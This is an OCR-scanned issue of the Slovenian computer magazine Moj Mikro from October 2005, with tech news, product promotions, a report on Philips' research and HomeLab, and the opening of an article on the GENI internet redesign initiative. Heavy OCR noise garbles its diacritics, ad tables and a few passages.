zaradi Cesar zamenjava ni potrebna. Vecno je tudi vprasanje glede novih funkcij, ko
Ze veliko obstojecih vecina uporabnikov ne uporablja. Na primer, Wordove funkcije,
ki jih uporablja vecina uporabnikov, so bili na voljo ze v razlicici 6. Morda bomo
to pot prvi€ prica veliko bolj mlaénemu sprejemu novih razlicic, kot je bila navada
doslej, kljub agresivnemu marketingu, ki poteka Ze danes.
www.microsoft.com

Podjetje Packard Bell
je predstavilo novo
druzino prenosnih
racunalnikov EasyNote W,
ki zdruzujejo lastnosti
PC-radunalnikov
in zabavnih
centrov. EasyNote
W je namenjen
uporabnikom, ki si Zelijo
prenosni racunalnik
Za vse namene:
veCpredstavnost, igre,
splet in kot osebni
racunalnik.

Prva stvar, ki jo bodo
uporabniki opazili,
je 17-paléni Sirokokotni
zaslon s Packard Bellovo
tehnologijo Diamond

View za izboljSanje slike. Vdelani TV-sprejemnik (DVB-T in analogni) omogoca, da uporabniki gledajo TV kjerkoli
in kadarkoli. Programska oprema PowerGinema jim omogoca, da uzivajo ob vseh medijskih datotekah z enostavno
uporabno aplikacijo. Avdiofili se bodo zaljubili v vdelani zvocni sistem 2.1 z vdelanim globokotoncem in digitalnim
prikljuckom za 7.1-kanalni izhod.

Prenosnike poganjajo mobilni procesorji Intel Centrino ali AMD Turion. Sistemi na Intelovi osnovi omogocajo
MXM-povezljivost z grafiko nVidia GeForce 6600 128 MB ali 256 MB video pomnilnika RAM. Sistemi na AMD-jevi
osnovi pa so na voljo z grafiko ATl Radeon Xpress 200M z najve¢ 128 MB vdelanega video pomnilnika RAM.
Druzina EasyNote W je na voljo s 512 MB do 2 GB RAM pomnilnika in do 120 GB trdega diska. Notesniki so
opremljeni z DVD+R9-zapisovalnikom, ki je zdruZljiv z eno- ali dvoplastnimi DVD-nosilci. Za najvecjo povezljivost je
na voljo Sest prikljuckov USB 2.0, eden IEEE-1394 (firewire), bralnik kartic 4-v-1 in rezi PCMCIA. Za optimalno
omreZno povezljivost v vsakem okolju poskrbijo kartica wi-fi za brezzicno omrezje, kartica 10/100 LAN za
Sirokopasovni internet in omrezZni dostop in standardni 56K modem za klicni internetni dostop. Cene teh
prenosnikov se zacnejo pri 349.990 tolarjih.

(promocijska novica) www.packardbell.com, www.izishop.net

ZASLON 17 ELEKTRONSKEGA PAPIRJA

Philips je ponudil prvi vpogled v bodoce naprave z
vdelanim »fleksibilnim zaslonoms, kar je vtem primeru
tehnologija elektronskega papirja,. Njihova zamisel je,
da je naprava, ko jo prenaSamo, ¢im manjsa, torej se
zaslon dobesedno potegne (odvije) z nje, ko zelimo
prebirati vsebino na zaslonu oziroma uporabljati
napravo. Kot je razvidno iz slike, gre za majhno zadevo,
locljivost zaslona pa je 320 x 240 pik.
www.philips.com
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STOP NEZELENEMU
FOTOGRAFIRANJU

Nekaj je Ze na tem, da smo novinarji vsaj
obcasno prevec vsiljivi in Zelimo pogledati in
predvsem fotografirati (posneti) tudi zadeve,
ki niso dovoljene. Temu naj bi kmalu naredil
konec sistem, ki naj bi fotografu preprecil
narediti posnetek tam, kjer to iz razlicnih
razlogov ni dovoljeno. Prijemov je vec, naj
omenimo, da je podjetje HP patentiralo nacin
za preprecevanje snemanja, ki pa zahteva
vdelavo dodatne elektronike v digitalni
fotoaparat ali kamero. Popolnoma neodvisna
od tega pa naj bi bila ideja raziskovalcev iz
instituta v Georgiji. Ideja sloni na dejstvu, da
povrSina le¢ odbija svetlobo (je refleksivna).
Sestavili so prototip naprave iz oddajnika in
sprejemnika infrardece svetlobe in Gisto obiCajnega projektorja. Oddajnik v prostor odda infrardeci
Zarek, in Ce se ta odbije od povrSine leCe - zaradi specifi¢nih lastnosti leCe je menda mogoce
razlikovati odboj od leCe od odboja od ocal, steklenice in drugih steklenih predmetov -, kar zazna
sprejemnik, projektor v prostor odda mocan, a usmerjen svetlobni blisk. Fotografija ali video sta zaradi
tega neuporabna (saj je videti le svetlobo). Projektor projicira svetlobo, vse dokler je v prostoru pred
njim mogoce zaznati fotoaparat ali kamero. Sistem je Se dalec od prakticne uporabe, saj je njegov
prakticni doseg zaznave zgolj 10 metrov, kar je v danaSnjem svetu mnogo premalo, hkrati pa ima
tudi $e veliko mrtvih kotov in moznosti, kako ga zaobiti. Ce bo $el razvoj naprej, bi ti pasivni zaggitni
sistemi lahko mocno zagrenili delo fotografom. Namreg, Ce se Ze ne bi mogli zas¢ititi na javnih
mestih, bi lahko zaS¢itili zasebnost nasih domov pred posnetki skozi okno. PovpraSevanije nad takimi
sistemi je o€itno veliko, saj jih sicer nihce ne bi razvijal.

3 lahko jutrl privodfite lpgubo veeh podatikoy?
Kdaj ste nazsdnje arhivirall pomembne podatke
in imformacie? Kollko prekinitey delovnaga
prebEin 4 lahke privedSils? So wadi informadcije =L
razpriens ali centraliziranae?, ey
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ISKALNIKI SE MNOZIJO

Ne mine mesec, ne da bi pisali 0 novih predstavitvah Googla.
Tudi ta mesec je tako, saj so predstavili iskalnik, ki preiskuje
spletne dnevnike (bloge). V primerjavi z drugimi iskalniki po spletnih
dnevnikih lahko Google poleg tega, da so novi vpisi vidni skoraj
takoj po nastanku, rezultate razvrsti po datumu nastanka ali
pomembnosti. PriCakovati je, da bosta zgledu sledila tudi iskalnika
Yahoo in MSN.

Yahoo pa je prestavil »instant iskalnik« Instant Search, ki ze med
vpisom iskalnega niza uporabniku ponuja mozen zadetek (zgolj en
sam). Ko v polje vpisujete na primer ¢rko A, se vam v dodatnem
oknu izpise moZen zadetek APress itd. Ce je predlagana stran
prava, lahko uporabnik sko¢i neposredno nanjo in ni potrebe, da
bi mu brskalnik izpisal vse zadetke. Iskalnik uporablja spletno
tehnologija AJAX, ki zmanjSa potrebe po povezavi med odjemalci
(brskalniki) in spletnimi strezniki, in ker je trenutno vsa zadeva
zgolj demonstracijske narave, lahko pricakujejo dodajanje novih
moznosti.
www.google.com
www.yahoo.com

Zelite povecati produktivnost?

Intal” Solutions from
a Technology Professional
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MICRONICS TSP100

Star je predstavil nov termiéni POS-tiskalnik TSP100, ki ga odlikuje bogata dodatna
oprema. \V primerjavi s ponudbo drugih proizvajalcev je zraven prakticno vse, kar
potrebuje uporabnik za samostojno delo, tudi oblikovanje izpisov. TSP100 podpira dve
Sirini papirja, 80 in 58 mm, ter zna s posebnim papirjem tiskati tudi barvne. Na voljo

SEJEM, K| JE PREZIVEL

S0 tri kombinacije papirja, ¢rna-zelena, ¢rna-modra in ¢rna-rdeca. Hitrost
tiska je 25 racunov na minuto, ne glede nato, ali je uporabljena vdelana ali
pisava TrueType. K hitremu izpisu pripomore tudi USB-povezava namesto
standardne zaporedne. Gonilnik je na voljo za razlicne operacijske sisteme,
poleg Windows sta podprta Se Linux, Mac 08 X in Java P0S. NajzanimivejSi del
je prilozena programska oprema, ki uporabniku omogoca celo vrsto moznosti.
Med zanimivejSimi je prilagoditev izpisa, kar pomeni dodajanje grafike
na zacetek ali konec racuna. To se naredi s preprostim uvozom
bitne slike, s programom le dolocimo njeno mesto in velikost. To
uporabniku omogoca izpis za posebne namene, recimo dodatne
ugodnosti ali druga reklamna sporocila, ki bodo samodejno dodana
vsakemu racunu. Program omogoca tudi izpis ¢rtnih kod v razlicnih
formatih, vsega skupaj je na voljo 39 moznosti. Uporabna funkcija je
obdelava besedila, ki omogoca zamenjavo dolocenega besedila z drugim
ali vstavljanje besedila in grafike glede na oznacbe v besedilu. Gonilnik
zna oponasati zaporedni vmesnik in lahko obrne besedilo na glavo, glede
na postavitev tiskalnika. TSP 100 lahko Ze s priloZzeno programsko opremo povezemo
z drugimi napravami, na primer blagajno, da se slednja odpre ob izpisu racuna. Z
vsemi temi moznostmi je nov tiskalnik namenjen predvsem tistim, ki ne Zelijo za vsako
spremembo poklicati programerja, temvec bi raje to naredili sami. Obdelava izpisa je
namre¢ dokaj enostavna in ne zahteva veliko znanja, le grafiéni del mora biti pravilno
obdelan. Zanimiva je tudi cena, saj stane novinec 79.080 SIT z davkom vred. (ao)
(promocijska novica) www.sloga-im.si

predstavljali njihovi umetniki in revije.
(promocijska novica) www.zv.hr

DA VAS NE PICI
BRAZILSKI PAJEK ...

Kim Boxwell, 24-letnica iz angleSkega Newquaya, je avgusta letos
v samopostreznici kupila banane. Ko si je doma hotela eno olupiti,
jo je nekaj grdo picilo. Pogledala je in videla, da je iz »mesta
nesreCe« oddirjal pajek. Mesto ugriza je kmalu postalo rdece in
po telesu je dobila osip, zato so jo odpeljali v krajevno bolniSnico,
kjer so ji dali sredstvo proti alergiji, ve¢ pa niso mogli narediti, ker
niso vedeli, kakSen pajek je bil. Ker pajka v hiSi niso nasli, so se
spomnili, da bi morda ve¢ informacij lahko nasli v spletu. Prebrskali
S0 ga in skupaj s Kim ugotovili, da jo je picil brazilski sprehajalec
(Phoneutria fera), eden najnevarnejsih in najagresivnejsih pajkov
na svetu. Ime sprehajalec je dobil zato, ker sodi med tiste pajke, ki
ne pletejo mreze, temveC se sprehajajo naokoli in Cakajo na plen.
Znano je tudi, da ta pajek, ki lahko zraste do 12 cm, rad zaide
med banane in tako ga je »dobila« tudi Kim. Lastniki trgovine so se
Kim opravicili, ji obljubili darilo za neprijetnosti, ki jih je doZivijala,
in hkrati dejali, da se kaj takega zelo redko zgodi, saj gredo
banane skozi ve¢ strogih kontrol.
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Ko imamo pri nas tezave organizirati pameten sejem s podrocja informacijskih tehnologij, to uspeva
Hrvatom. Uspe jim pritegniti tako razstavljavce, kar nekaj jin prihaja iz naSe strani Kolpe, kot tudi
obiskovalce. Teh pricakujejo okoli 50 tiso¢. Tako kot vsako leto bo tudi letos med 8. in 12. novembrom
potekala zdruzena sejemska prireditev Info, Interliber in EducoPlus. LetoSnja novost bo dogodek, povezan
z veCpredstavnostjo in fotografijo (multimedia & photo show), kjer se bodo na fotografskih seansah

BOJ ZA (DIGITALNO)
KULTURNO DEDISCINO

0 dejstvu, da Google digitalizira svetovno literarno dediséino predvsem v angleSkem jeziku smo porocali
Ze pred meseci. Kljub nekaterim tezavam, povezanim z digitalizacijo besedil, za katera Se veljajo
avtorske pravice, gre projekt naprej in do leta 2015 nameravajo v digitalno obliko prenesti 15 milijonov
del (knjig). Kar 8 tisoC avtorjev je Ze napovedalo, da bo Google tozZilo zaradi krSenje njihovih avtorskih
pravic. Podobno delo opravlja tudi Amazon, obe ameriski podjetji pa Zelita narediti spletno knjiznico, ki
bo omogocala hitro in preprosto iskanje (po kljucnih besedah) po ogromni zbirki. Kot na dlani je, da
omenjeni podjetji tega dela ne opravljata zaradi humanitarnih vzgibov, saj je samo Googlov projekt
ocenjen na 200 milijon dolarjev,. Tako ali drugace nameravata dolgorocno zasluZiti, Ce bo treba tudi tako,
da omenjeni iskalnik ne bo brezplaCen za uporabo. Morda se vse sliSi banalno, ¢e$, pa kaj, Ce Google
digitalizira knjige. Predvsem Evropa pa je zelo skepticna, saj ji ni vSe¢, da bosta zasebni podjetji imeli
pod nadzorom digitalizirano vsebino, pa ¢etudi bi bila ta za uporabnika brezplacna. Pomislekov je kar
nekaj. Najprej so se odzvali Francozi, ki se, jasno, bojijo za svoj jezik in prevlade literature v angleSkem
jeziku nad vsemi ostalimi. Skepsa ni tako iz trte izvita. Vprasljivo je, kako bo bodoci iskalnik razvrscal
zadetke, ko je jasno, da bodo najbolje obiskani tisti, ki bodo prikazani na prvi strani. Dokazano je, da
je digitalizacija del pri Amazonu dvignila prodajo kriminalk za 5 in stripov za 48 odstotkov. Drugace
povedano, veliko bolje se bodo prodajali avtorji, katerih dela bodo dosegljiva tudi v digitalni obliki, kot tisti,
katerih dela bodo le v knjiZni obliki.

Ce bojazen pred Googlom ni iz trte izvita, potem je vprasanje kako, &e sploh, se bo Evropa odzvala.
Problem Evrope je razdrobljenost. Projekti digitalizacije Ze potekajo po nekaterih drzavah, na primer v
Nemdiji, vendar med seboj niso povezani in verjetno rezultati tudi niso zdruzljivi. Prav tako Se ni projekta,
ki bi naredil en sam iskalnik po sicer zelo bogati evropski kulturni dediScini. Morda bi v Evropi potrebovali
evropski iskalnik, torej protiutez ameriSkim iskalnikom, na pa da imamo morje lokalnih iskalnikov, ki med
seboj niso povezani. Into v Casu, ko se Google prilagaja jezikovnim zahtevam posameznih narodov.
Problem je tudi v pristopu k digitalizacijo, ki seveda stane. Brez zasebnega kapitala ne bo $lo, kar je ne
nazadnje dokazal tudi Google. Lahko se vpraSamo, kako se s digitalizacijo soo¢amo v Sloveniji. Nikakor,
saj drZava za to nima ali ne najde denarja, zasebni kapital pa ne znamo ali zaradi majhnosti ne moremo
pritegniti. Digitalizacija kulturne dedi$¢ine pa je nasledniji korak v informacijsko druzbo. Ce je ne bomo
izvedli sami, jo po neko€ naredil nekdo drug. Spletne knjiznice bodo nekoC postale profitne ustanove.



SAMOPOSTREZNI FOTOSTUDIO

Kioski za samostojno izdelavo fotografij so vse bolj priljubljen, Ceprav je cena
Francije. »Samopostrezni fotostudio« je sestavljen iz terminala, obCutljivega na dotik,
bralnika kartic, zapisovalne CD-enote in zmogljivega termosublimacijskega tiskalnika. Delujejo
lahko na ve€ nacinov, kot samostojne enote ali le kot terminal za fotolaboratorij (brez
tiskalnika). Postopek izdelave je enostaven: uporabnik vstavi pomnilnisko kartico
ali CD, izbere slike, Ce je treba, jih popravi, in po Zelji doda okraske. Kiosk mu izda
potrdilo, s katerim placa izdelavo slik in jih nato prevzame v kiosku. Uporabnik lahko
tudi prenese slike s pomnilnikih kartic na CD. Moznih je ve¢ kombinacij izpisa, 15 x

10 cm ali z dodatnim tiskalnikom 13 x 18 cm oziroma
21 x 15 cm. Zakaj se uporabniki raje odlo¢ajo
za tak nacin izdelave fotografij, lahko
le ugibamo, eden od
razlogov je gotovo
nadzor nad
izdelavo, drugi pa
- nemara moznost
..... L izdelave fotografij,
ki niso namenjene
javnosti. Cene taksnih
kioskov se gibljejo od
768.000 SIT (terminal)
do 1.656.000 SIT
(skupaj s tiskalnikom),
cena potrosnega
materiala za 15 x 10 cm
izpis pa je 36 SIT brez
davka.
www.meditrade.si

s

OLYMPUS S POLNO PARO

Olympus je predstavil tretji fotoaparat za sistem
4/3, E800. Ponasa se z 8-milijonskim tipalom, velikim
2,5-palcnim LCD-zaslonom in dokaj majhnim ohisjem.
Po drugih tehni¢nih lastnostih je podoben modelu E-
300, loCita ga predvsem Ze omenjeno manjSe ohisje in
moznost uporabe pomnilniSkih medijev CompactFlash
inxD Card. Najvi§ja hitrost
zajema je 2,5 posnetka
na sekundo do
zmogljivosti
pomnilniSke kartice,
Ce je stiskanje
nastavljeno na
srednjo kakovost.
Skupaj s tem
fotoaparatom je
Olympus predstavil
Se fri nove objektive,
med katerimi
bo 17,5-45 mm
13,5 5,6 (ekvivalent 35 90 mm)
naprodaj le z novim fotoaparatom.
Ljubiteliem makro fotografije je namenjen
novi 35 mm objektiv z zaslonko f 3,5, vsestransko uporaben pa je novinec z 10x
spremenljivo goris¢nico, 18 180 mm 3,5 6,3. O ceni novega fotoaparata
in objektivov zaenkrat ni novic, vendar so nam pri Olympusu zatrdili, da bo zelo
konkurenc¢na in s tem sprejemljiva za Sirok krog uporabnikov. E-500 bo na voljo
v treh kompletih, le samo ohisje, skupaj z osnovnim objektivom in dodatno z
objektivom 40 150 mm.
www.olympus.si

Ntraktiven O éarljiv C enjen

LCD ADC 7294 LCD AOC 726 LCD ADLC 728 LCD ADC 928 LCD AOC 2028
Zasion 17° Zachon 17 dasion 177 Zaslon 15° Zaglon 0°
Cidrterd Ears 16 mE Odzivni fas 16 ms Cdzivel fas 8 ms Ddzivnd £as 8 ms Oudzivni £as 16 ms
Korfrast 450:1 Kontrast 450:1 Kontrast 70011 Konkrass $50:1 Kontrast 700:1
Max, lodjivost 12801004 Max, loffivost 12800z Max. ollivost 128001029 maw iofijpvost 12801024 Manc lofijivost 1600x1200
Banne 16.7 mil arae 160 mil Banvi 16.0 mi Barve 16.0 mi Barve 160 il
Prikfiudek WGA, DATT Paiktodick WiGA Frikijuacek VA, DV Prikljudek WGEA, DYV Prikljufek VGA, DVT
Hastavljiv po widinl, svodniki, -
PIVOT 80 (vetlfiv zaslon) 62,990 sit 69.990 sit 85,990 sit 125,990 sit
61.990 sit
o unnl ::;;_I.::_I;:] 0115 B0 80O .
Troie A TR ANT

BRYE R VALLUS
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INOVICE

PHILIPSOVI TEHNOLOSKI TRENDI

Pise: Jaka Mele
jaka.mele@mojmikro.si

Kot vsako leto je Philips
evropskim novinarjem na
poletni tehnoloSki predstavitvi
v domacem mestu Eindhoven
na Nizozemskem spet omogocil
vpogled v razvoj, slisali pa smo
lahko tudi nekaj o strategiji
podjetja in trendih, ki jih opazajo.
Spotoma sem ugotovil, da
pravzaprav presenetljivo malo
Slovencev ve, da je Philips
nizozemsko, torej evropsko
podietje. Eindhoven je mesto,
ki Zivi popolnoma v navezi s
Philipsom, podobno kot bi lahko
pred nekaj desetletji rekli za
Iskro in Kranj ... V mestecu, ki daje vtis velikosti Ljubljane, Zivi okoli 200 tiso¢ prebivalcev,
in Philips se lahko pohvali, da je skoraj iz vsakega gospodinjstva kdo tako ali drugace
povezan z velikanom zabavne elektronike.

Royal Philips Electronics je s preko 160 tiso¢ zaposlenimi po vsem svetu eno najvecjin
elektronskih podjetij. Gre za konglomerat Stevilnih podjetij, ki skupaj pokrivajo zelo Sirok
spekter potreb in segajo na povsem razlicne trge. Philips je mocno prisoten na trgu
medicinske opreme, potroSniSke elektronike, gospodinjskih aparatov in pripomockov,
osvetljave ter polprevodnikov.

NORI RAZVOJ

Mobile Natural Motion in Mobile Picture Plus

Med razvojnimi projeki, ki se priblizujejo zakljucku in ¢akajo na vkljucitev v nove
izdelke, je tudi Mobile Natural Motion, algoritem, namenjen uporabi v prenosnih napravah,
kot so dlancniki in mobilni telefoni. V teh napravah se ob predvajanju videa namre¢

srecujemo s problemoma majhnega prostora (nizke kakovosti videa) ter po¢asnega
pretakanja Zivega videa prek mobilnega omrezja. Tak video je tipicno nizje loCljivosti in
nima polnega osvezevanja - namesto 30 osveZzitev slike na sekundo je tipicno le 7 10
okvirov. Algoritem Mobile Natural Motion reuje problem tako, da analizira zaporedne
okvire, nato pa ustvari ter med posamezna zaporedna originalna okvira vrine Se okvir

ali dva - z ustreznimi premiki na novih okvirih. Rezultat je opazna sprememba prej ne
tekocega videa, z opaznimi preskoki med posameznimi slicicami, v mehko tekog video.
Vse to ob ni¢elnemu povecanju potrebne pasovne Sirine, z izkoriS¢anjem procesne moci
napravice.

Drug algoritem, Mobile Picture Plus, izhaja iz algoritma Picture Plus, ki je v Philipsovih
LCD-elevizorjih prisoten Ze dve generaciji. Algoritem s filtriranjem in obdelavo poveca
kakovost videa, odpravi kockasto sliko in poveCa detajle in ostrino, prav tako pa poskrbi za
izrazitejSe barve. Algoritma sta dovolj optimirana, da delujeta tudi v zadnjih generacijah
video mobilnih telefonov, ki so Ze na trgu, ter seveda v mocnejSih dlanénikih. Kdaj
bomo resitev videli v napravah na trgu, Se ni znano, prav tako pa je Se v prvi fazi razvoja
tehnologija LifeVibes, ki je namenjena lazjemu sledenju recimo nogometne Zoge na
majhnem zaslonu (izrisuje sled).

3D LGD

Tudi na podrogju trirazseznega prikaza je Philips dosegel opazen napredek. Ce smo e
pred letom morali za doZivetje globine prikazane slike/videa ali nositi posebna ocala ali
pa ob naprednejsih tehnologijah sedeti to¢no pred zaslonom, saj je bil vidni kot le nekaj
stopinj, je temu konéno konec. Philips je prikazal LCD-televizor, katerega matrika (panel)
je sestavljiena iz mnogih plasti, kar omogoca 12-sektorski trirazseZni prikaz. S tem so dosegli
12 obmocij, iz katerih je mo¢ doZiveti globinsko sliko, s ¢imer je uporabnost glede na
prejSnje izdelke vedja. Nova tehnologija bo Ze jeseni na voljo v 40-palénih LCD-elevizorjih,
namenjenih predvsem oglaSevalski uporabi v nakupovalnih srediscih in v drugih javnih
prostorih. Namen je pritegniti in zadrZati poglede mimoidocih opazovalcev.

Philips Spatial Audio Coding prostorski zvok povsod

BrezZiéni prenos zvoka je danes stalnica. Vendar pa so skoraj vsi prenosi narejeni v
stereo nacinu. Ob tem nekateri avtomobili Ze vsebujejo tudi 13 zvocnikov, vecina pa
vsaj 6. Digitalno prenasanije stereo signala tipicno zaseda 128 Kb/s, za prenos Sestih

HomeLab

Pod nazivom Homel ab se skriva tocno to
— domagi laboratorij. \V Philipsovem kompleksu je ob
eno izmed zgradb prislonjen izstopajoc prizidek, ki - = &
v dveh nadstropjih oponasa povprecno druzinsko kY
stanovanje 0z. hiso. Vendar je HomelLab prav
posebna hisa, saj se Philipsovi znanstveniki in
raziskovalci v njej »izZivljajo« in vanjo vgrajujejo
nove tehnologije, ki so bodisi Sele koncepti bodisi
prototipi naprav prihodnosti. Med posameznimi
prostori so votle stene, v katerih je v vsej hiSi preko
100 racunalnikov, ki bodisi krmilijo v hisi nameScene
naprave/resitve, ali pa zbirajo podatke o nacinu
interakcije med ¢lovekom in neko tehnolosko novostjo. Ceprav je HomeLab razstavni
prostor, namenjen »Sminkanjus, pa je predvsem tudi laboratorij. Philips prostovoljcem
(tudi druzinam) omogoca ali nekajurno ali nekajtedensko preselitev v HomeLab, pri tem
pa jih spremlja in analizira, kako se ljudje soo¢ajo z novitetami, kaksni so odzivi, kjer
se pojavijo teZave, kje je dodana vrednost, uporabnost ... S temi znanji in ugotovitvami
Philipsovi raziskovalci hitreje razvijejo izdelke in ob tem upajo na boljSo prilagojenost
potrebam in zahtevam kupcev.

Sprehod po naslednjem desetletju
V HomeLabu smo vkorakali v naslednje desetletje (tole pa ne zveni tako dramati¢no,
kot »naslednje tisoCletje«, kar smo lahko napisali Se pred nekaj leti ...) in sprehod po

sobah stanovanjske hise nam je odprl pogled na smeri, v katere Philips pelje svoj razvoj.

V dnevni sobi je namesto oken vrsta velikih zaslonov, ki prikazujejo Zivo panoramsko sliko iz
kateregakoli raja na zemlji, pa naj bo to gorska pokrajina ali obala tihomorskih otokov...
Ob fotelju, ki nam med pocivanjem meri EKG in EMG (napetost miSic) in zaskrbljujoCa
odstopanja takoj sporo¢i osebnemu zdravniku, sta nas pricakala tudi Dimi in iCat,
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prototipna vmesnika, ki naj bi koncala ¢lovesko
prilagajanje napravam.

Dimi je inteligentni sluZabnik vmesnik za
upravljanje stanovanja, organizacijo druzinskih
Clanov in prehod za dostop do medijskih vsebin.
Dimi je v stolpi€ sestavljen niz osvetljenih paneloy,
kjer se zgornja dva premikata in sledita uporabnika.
Odziva se na glasovne ukaze in zna vse: zagrme
motorizirane zavese v hisi, obvlada koledarje
domacih in odgovarja na vprasanje »kjer je
mama?«, predvajanja novi znanstvenofantasticnega
filma od scene, kjer vesoljska ladja strmoglavi na
planet ... Malce manj pompozen je iCat, ki zna podobne stvari, a se z oponaSanjem Gustev tudi
odziva na interakcije in se sproti uéi ter ima in gradi celo svojo osebnost.

Celotna hisa gradi na okoljski inteligenci, od upravljanja s svetlobo za optimalno podutje
glede na stanje zunaj (zjutraj oponasanje son¢nega vzhoda z mehkimi in postopnimi
prehodi iz teme v osvetlitev), do nekaj kamer v vsaki sobi, ki sledijo ¢lanom gospodinjstva
..V otroski sobi smo si ogledali interaktivne igrage, ki otroke po prvih Studijah zamotijo
in navdusujejo dlje kot obicajne, zanimiv pa je bil tudi pogled na nahrbtnike in okrasne
blazine z vdelanimi tekstilnimi svetlobnimi prikazovalniki razlicnih barv - locljivost je
dokaj nizka, a material lahko operemo, prepogibamo ... V eno od blazin smo lahko celo
poslali SMS-sporocilo, ki se je prikazalo na njej. Tudi kopalnica je bila zanimiva, saj vsebuje
kopico senzorjev, recimo nevidno tehtnico in laserski meter na polozaju pred interaktivnim
ogledalom - na njem lahko sledimo, kako uspesno hujsamo ali rastemo. Med umivanjem
si lahko na ogledalu, za katerim so skriti LGD-monitorji, ogledamo vremensko napoved,
stanje cest ali pa s pomocjo kamer preverimo naso pricesko od zadaj. Povecava bo prav
prisla ob britju ali li¢enju, v navezi z garderobno omaro pa nam pomaga pri izbiri oblagil,
ki gredo dobro skupaj. Ogledalo krmilimo z gestami rok, brez dotikanjal



kanalov DVD-kakovosti (5.1) pa bi tako potrebovali prepustnost 300 Kby/s. Vse veC je

tudi prenaSanja v mobilne naprave, bodisi prek wiija, pogosteje pa kar prek mobilnega
omreZja GPRS, EDGE oz. UMTS. Zal smo s pasovno $irino tu precej bolj omejeni. Philips z
novim kodekom omogoca prenos stereo kanalov, obogatenih z dodatnimi informacijami,
na podlagi katerih lahko sprejemnik, ki pozna kodek, zgradi ostale kanale in reproducira
veren prostorski zvok. Novi kodek je del novega standarda 3GPP, prenos informacij,
potrebnih za reprodukcijo prostorskega zvoka pa poveca potrebno pasovno Sirino za
manj kot 10 odstotkov. Dobra plat reSitve je, da ¢e sprejemnik kodeka ne pozna, dodatne
informacije Se vedno ne motijo sprejema stereo signala.

Philips BaryBass resonanéni nizkotonec

Reprodukcija nizkih tonov Ze od nekdaj zahteva veliko prostornino zvocnika, kar pa
je predvsem v majhnih napravah lahko velika ovira. BaryBass uporablja in deluje na
resonanéni frekvenci, vsi nizki toni od 20 do 120 Hz pa so preslikani nanjo. Kakovost tako
reproduciranega zvoka je sicer zelo, zelo povpre¢na, vendar pa so basi veliko zaznavnejsi.
Pri tem pa je Philipsu uspelo spraviti Se vedno verno in predvsem mocéno basovsko
reprodukcijo tudi v nekaj centimetrov velike naprave. Zvo¢nik BaryBass je lahko zato skoraj
poljubne oblike, predvsem pa zasede do desetkrat manj prostora kot klasicni nizkotonec.
Philips vidi uporabo v prenosnih predvajalnikih glasbe ter v LCD-televizorjih.

IZDELKI V LETU 2006

Kaj lahko pri¢akujemo na prodajnih policah v prihodnjem letu? Na podroCju domace
zabavne elektronike gre vse v povezavo - celo radijski sprejemnik oz. predvajalnik
glasbe (CD, MP3) iz palete Streamium sta zdaj popolnoma brezZiéno povezljiva. Centralna
enota WACS700, nameScena v dnevni sobi in povezana v internet, zna poleg vsega tudi
digitalizirati naSe glasbene CD-je (v navezi z spletno zbirko CDDB nam skladbe tudi
poimenuje) in hraniti glasbo, ki jo lahko nato iz manjSih predvajalnikov WAS700 po drugih
sobah tudi predvajamo. Glasha nam lahko tudi sledi, medtem ko se premikamo po hisi,
naprave pa obvladajo tako MP3 kot WMA.

Socasno s predstavitvijo
je Philips Ze poslal na
trg tudi novo generacijo
LCD-televizorjev v druzini
Cineos FlatTV, ki se pohvalijo
s tehnologijo PixelPlus 2
HD in z osvetlitvijo okolice
glede na sliko Ambilight
2. Novi modeli med prvimi
podpirajo HDTV-format
1080p.

Prihaja tudi osveZitev
DVD-videorekorderjev in - = e E— ;
SA-CD-predvajalnikov v druzini Cineos 9000. Novi videorekorder bo imel vdelan 400 GB
disk, na katerega bo lahko zapisal 650 ur posnetkov, podpiral pa bo GUIDE Plus+ ter
dvoslojne DV- medijem. Novosti sta vdelana tehnologija Pixel Plus za boljSi video zapis ter
vmesnik HDMI za priklop na HDTV. Piko na i doda kombinacija analognega in digitalnega
sprejemnika.

Krmiljienje mnoZice elektronskih naprav doma utegne biti tezavno, zato Philips ponuja
univerzalni pametni daljinski upravljalnik. Stvarca je podobna Logitechovim upravljalnikom
(nastavitve za napravo si snamemo iz zbirke v internetu), a je po obliki veliko elegantnejsa
inima velik barvni LCD-zaslon, na katerem lahko preko vdelanega omrezja wii
prikazujemo celo fotografije iz domace medijske knjiznice.

i Rrriai ol B
=y sbwerkied

s arar, bat il ot pidanl, by *

PARAMETICA
Parametca doo A

Durnigia 106, 1000 Liubiar
Tet: {011 5633766

MOJ MIKRO 10 OKTOBER 2005 15




s Bl = peigera Pt ol preeeid "0 el i L poleiers” mleria Dodoera bede b e el Lasesrr. Foilgisieeer Forsaparsl o pewrer g ofiie raieps

s rarsla e Peegeefoe @ e il o perrssl e weusivsia. el rsrsmrw gl dewimd gl Al aperrrorgel e Frepess e
1l e ooy n e o i el rprer b el et s e Leleew Pebageady s el e e coresers mewew el o ogratia ro b



Pise: Bojan Amon bojan.amon@mojmikro.si

prasanje, kakina je prihodnost interneta, je Cedalje
aktualnejse, saj Stevilo uporabnikov nenehno narasca,
skladno s tem pa postaja omreZje nasiceno z nekoristno,
wsiljivo in za omregje obremenjujoco vsebino.

Zagotovo oletje interneta v Sestdesetih letih niso niti sanjali,
da se bo plod njihovega zanesenjastva in kreativnosti razvil v vseobse¥no
omregje, ki bo ob sicer megalomanski kolicini koristnih in afurnih
informacij vsebovalo vsaj nekajkrat toliksno koli¢ino balasta. Negelena
elektronska posta, pojavna okna, vohunsko programje, oglasi na tiso¢
razlicnih nacinov in ne nazadnje virusi in druga zlonamerna programska
oprema so le nekatere komponente tega narascajocega »redundantnega
bita«. S premikanjem ekonomije in izobrafevanja v internet, Cemur bodo
brgkone sledile tudi druge institucije tradicionalne drugbe, postaja vse bolj
klju¢na tudi zahteva po varnosti, zanesljivosti, da o zasebnosti, ki smo jo
s pruim klikom najverjetneje %e izgubili, niti ne govorimo. Da bi internet
vsaj pribligno ohranil svojo funkcijo brezx resne izgube ucinkovitosti, bo
potrebna korenita redifinicija kljucnih standardov in storitev, ki bodo
vzdr¥ali nadaljnjo rast Stevila uporabnikov in njihovo heterogenost.

O tem razmisljajo tudi umi v ameriski organizaciji National Science
Foundation (NFES), saj so se odlo¢ili podpreti pobudo, ki utegne pripeljati
do popolnega preoblikovanja konceptov interneta, njen plod pa bo nova
arhitektura, wnotraj katere se govori o podpori za vseprisotne senzorje in
brez¥icne komunikacijske naprave. Pobuda GENI (Global Environment
for Networking Investigations) bo vkljucevala raziskovalni program,

v sklopu katerega bodo zasnovane in preizkusene nove arhitekture v
posebnem raziskovalnem objektu. Po izjavah navedenih organizacij za
javnost, naj bi bil projekt GENI zasnovan y namenom »raziskovanja
